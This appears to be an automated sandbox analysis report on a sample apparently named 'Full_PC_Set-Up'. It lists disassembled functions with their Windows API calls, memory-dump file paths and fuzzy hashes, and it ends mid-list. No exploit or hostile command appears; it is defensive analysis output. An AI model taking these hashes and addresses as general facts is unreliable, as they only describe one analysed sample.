Opcode Fuzzy Hash: 921559a11af2e45518b741997abc49ac51e0cc76822f2eb7c56c4a0cfe4d001d
Instruction Fuzzy Hash: B7315C71D04109DBCB04DF58D985AEEB7B4FF58310F10826AF828A7292D7349A55CBA5

Function 00310660 Relevance: 6.1, APIs: 4, Instructions: 84synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 003106A9
_memset.LIBCMT ref: 003106F9
InterlockedIncrement.KERNEL32(?), ref: 00310738
SetEvent.KERNEL32(00000000,?,00000000,?,00000000,00001800,00000000,?), ref: 00310741

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: EventIncrementInterlockedObjectSingleWait_memset
String ID:
API String ID: 3777308192-0
Opcode ID: 33563708578373d232bc2997ec0fd44f6e78d42773bb3ef06c69a1366a45af8b
Instruction ID: de9e4498508e1d422ebe4a2ed470040c230a16326da77b15d7ba51c6b5fda988
Opcode Fuzzy Hash: 33563708578373d232bc2997ec0fd44f6e78d42773bb3ef06c69a1366a45af8b
Instruction Fuzzy Hash: 87319174504705AFC329CF28C8C8A9BB7E5FB88354F108A2EF49A87281D770B994CF95

Function 003429B0 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 003429E7
allocator.LIBCONCRTD ref: 00342A1A
allocator.LIBCONCRTD ref: 00342A45
allocator.LIBCONCRTD ref: 00342A70

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 344c0906902d45ae37be9fa12043dc3a5c27ddc9e11373b850166d5d70b49550
Instruction ID: 6714a0276ccd75766e6615c2d7d4e5703a3cd86799b6f5e246969a125858a8b5
Opcode Fuzzy Hash: 344c0906902d45ae37be9fa12043dc3a5c27ddc9e11373b850166d5d70b49550
Instruction Fuzzy Hash: 7E21E8B2D042099BCB05DF98D892BEFB7B8EF48314F104619E515AB381D735AA14CBA5

Function 00317490 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003174C7
_wcslen.LIBCMT ref: 003174E1
swprintf.LIBCMT ref: 0031750D

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

swprintf.LIBCMT ref: 00317537

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: swprintf$__vswprintf_s_l_memset_wcslen
String ID:
API String ID: 483842468-0
Opcode ID: 8a5901dde3970af027bc5117a7bd0724dc808ce5e4a68c93e1ac0d16635ad4cd
Instruction ID: 3eca784e3607323fa5b88c72f0165d627f3e96d1d899a5441b239d2b090c73a5
Opcode Fuzzy Hash: 8a5901dde3970af027bc5117a7bd0724dc808ce5e4a68c93e1ac0d16635ad4cd
Instruction Fuzzy Hash: 11219A71A14318ABDB14EB64CC51FBE73B99F48700F108499B5499B381EE349E84DB66

Function 00308040 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 00308077
allocator.LIBCONCRTD ref: 003080A4
allocator.LIBCONCRTD ref: 003080C9
allocator.LIBCONCRTD ref: 003080EE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 8c90a38dff7d2142bb054d15fd9295ed8a92b634e3da5323facde2ed3fcbd462
Instruction ID: 36aa0c7db1b6ca57ed57e807b22bfcdceea4473283074f2cb1e1bd3a1bb6f861
Opcode Fuzzy Hash: 8c90a38dff7d2142bb054d15fd9295ed8a92b634e3da5323facde2ed3fcbd462
Instruction Fuzzy Hash: 5F213AB1D00209AFCB44DF98C892BAFB7B8EF44314F10452AE515A7381DB39AA148BA1

Function 0031EC00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 0031EC37
allocator.LIBCONCRTD ref: 0031EC64
allocator.LIBCONCRTD ref: 0031EC89
allocator.LIBCONCRTD ref: 0031ECAE

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 6cfc42263721d281f13547713dca1b20c9f8bece6564d07099f3bbf1cd5c49b1
Instruction ID: f98552d06d383928ccf88a7e035ee06e8b631adb5deee2e06506fd132d273a31
Opcode Fuzzy Hash: 6cfc42263721d281f13547713dca1b20c9f8bece6564d07099f3bbf1cd5c49b1
Instruction Fuzzy Hash: 13213AB1D00209AFDB04DF98D892BEFB7B8EF48314F10452AE515A7381D735AA14CBA1

Function 003578B0 Relevance: 6.1, APIs: 4, Instructions: 73windowsleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000000A), ref: 0035793E
PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00357950
TranslateMessage.USER32(00000000), ref: 0035795E
DispatchMessageW.USER32(00000000), ref: 00357968

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslate
String ID:
API String ID: 3768732053-0
Opcode ID: 61d19b2a86d0e6945db3916516cc5f26e31bb5a97115eb680587d2f58dffa3f9
Instruction ID: a8123070429b1375011aab25aa1fb0d78fec083c10aa26ddec7b1b4d27d8b5e9
Opcode Fuzzy Hash: 61d19b2a86d0e6945db3916516cc5f26e31bb5a97115eb680587d2f58dffa3f9
Instruction Fuzzy Hash: F431C2B4E042099BDB08CF95D985BDEBBF5BF48300F20816AE805A7390D775AE45CFA5

Function 002F0ED0 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000002,00000000), ref: 002F0EFA

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

GetWindowRect.USER32(?,?), ref: 002F0F11
EqualRect.USER32(?,?), ref: 002F0F66
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,?,?,?,?,?,002F0FE9,?), ref: 002F0F7B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: RectWindow$ClientScreen$EqualRedraw
String ID:
API String ID: 2669979743-0
Opcode ID: 803597e63555dcb950ea3897cfb09073dc26deacd8f458d4f80844ea25eb188c
Instruction ID: 2a23bd36e2a49fa05a10db4a92c2e9488d9e7ddd1a40f6d20b4c2176b540f2cd
Opcode Fuzzy Hash: 803597e63555dcb950ea3897cfb09073dc26deacd8f458d4f80844ea25eb188c
Instruction Fuzzy Hash: 99212CB1608305AFC604DF65C8848ABBFE8EFC8744F408A1DB58983255E770E944CB96

Function 002BC740 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 002BC820: GetClientRect.USER32(?,?), ref: 002BC82C

__floor_pentium4.LIBCMT ref: 002BC77A
GetClientRect.USER32(?,?), ref: 002BC7A1

Part of subcall function 00362927: SetScrollInfo.USER32(?,?,00000001,?), ref: 00362958

ShowScrollBar.USER32(?,00000001,00000001), ref: 002BC7F3
ShowScrollBar.USER32(?,00000001,00000000), ref: 002BC806

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Scroll$ClientRectShow$Info__floor_pentium4
String ID:
API String ID: 538194199-0
Opcode ID: de7471fd6cfbae115b89a6aa90f308945eadb465d95890f87657f0111923ac14
Instruction ID: 8fd2cb0b27db5816a97b78f54eac3fc119a0212f8be95a7665200523c5371db9
Opcode Fuzzy Hash: de7471fd6cfbae115b89a6aa90f308945eadb465d95890f87657f0111923ac14
Instruction Fuzzy Hash: FB215B716047009FD310EF28D885B6BB7E5FFC4714F104A1DF9858B2A0DBB1E9598B86

Function 002E7870 Relevance: 6.1, APIs: 4, Instructions: 65windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E6300: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002E633A

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002E78BA
GetTickCount.KERNEL32 ref: 002E78C3
SendMessageW.USER32(?,00000406,?,?), ref: 002E78EF

Part of subcall function 00367C04: SetDlgItemTextW.USER32(000003F2,?,?), ref: 00367C18

GetTickCount.KERNEL32 ref: 002E7928

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CountTickUnothrow_t@std@@@__ehfuncinfo$??2@$ItemMessageSendText
String ID:
API String ID: 37306825-0
Opcode ID: b5cacfcf6af61aee0e7b40a9aa50a828759a139b18c5ee7e03627ad906b61e11
Instruction ID: ea0e1e9d277f7105f25560458893ba6641d5125f479959c79dc7b34d82839e34
Opcode Fuzzy Hash: b5cacfcf6af61aee0e7b40a9aa50a828759a139b18c5ee7e03627ad906b61e11
Instruction Fuzzy Hash: FE213BB1604704AFD711DF79DC859EBB7E9EF88310F00891EFAAA87240DA70A900CB90

Function 0030A820 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,00000018,00000014,0030A7F0,Function_0007A810,5EBD7D5F,004CB5C0,004CB5B8,?,00000000,004CB116,000000FF), ref: 0030A884
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,004CB5B8), ref: 0030A88C
InitializeCriticalSection.KERNEL32(?,?,?,?,004CB5B8), ref: 0030A8B4
InitializeCriticalSection.KERNEL32(?,?,?,?,004CB5B8), ref: 0030A8BA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateCriticalEventInitializeSection
String ID:
API String ID: 2948115387-0
Opcode ID: 9b78fec9f6917c351312a6ab75426af859457eb05e5eb90c6104f4466d3f0d74
Instruction ID: 0130c4003903ffe3448012cc8238132897b9fa8c5967a561989d970fb230478f
Opcode Fuzzy Hash: 9b78fec9f6917c351312a6ab75426af859457eb05e5eb90c6104f4466d3f0d74
Instruction Fuzzy Hash: 172136B5544B44AFC360DF69DC84F93F7E8FB88714F504A2EE09A93250D734A904CB65

Function 003A8030 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 003A80AA
CreateCompatibleDC.GDI32(00000000), ref: 003A80B3
ReleaseDC.USER32(00000000,00000000), ref: 003A80C3
InitializeCriticalSection.KERNEL32(00000058), ref: 003A80CD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CompatibleCreateCriticalInitializeReleaseSection
String ID:
API String ID: 1900397320-0
Opcode ID: 8610d72ac47c90436dd817d63ea917eb19a1ad75880ee3e16bdc8005e31dc805
Instruction ID: 85cecd2f4e8d8855cb49ff39ac83854fd18adb53d947cf9ed6416b9a3f1b1801
Opcode Fuzzy Hash: 8610d72ac47c90436dd817d63ea917eb19a1ad75880ee3e16bdc8005e31dc805
Instruction Fuzzy Hash: 182138B1504704DFC311DF29D885A6BFBE8FB88710F400A1EF88A83B51DB79A904CB69

Function 002F47E0 Relevance: 6.1, APIs: 4, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SHGetSpecialFolderLocation.SHELL32(?,00000000,75C05540,75C05540), ref: 002F480F
_memset.LIBCMT ref: 002F4821
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004009), ref: 002F483F
SendMessageW.USER32(?,00001109,00000000,00000000), ref: 002F4871

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: FileFolderInfoLocationMessageSendSpecial_memset
String ID:
API String ID: 739237996-0
Opcode ID: 85cb783e7cfc2dd3e8bf808e952b3d193dd43609be95266de69586ec26bb647c
Instruction ID: 9bfe41f4361e5d7c15e434c27f4e685449696eccabc4f08a7e44b30eb2cb5c63
Opcode Fuzzy Hash: 85cb783e7cfc2dd3e8bf808e952b3d193dd43609be95266de69586ec26bb647c
Instruction Fuzzy Hash: 85113375654300AFD760EBA4DC8AF2B73E8BB88740F15491CF645DB281E7B4E8048756

Function 0036A791 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0036A798

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

__CxxThrowException@8.LIBCMT ref: 0036A7CE
FormatMessageW.KERNEL32(00001100,00000000,?,00000800,?,00000000,00000000,?,?,005624F0,00000004,002946E6,000000FF,002DC17B,80070057,?), ref: 0036A7F8
LocalFree.KERNEL32(?), ref: 0036A820

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
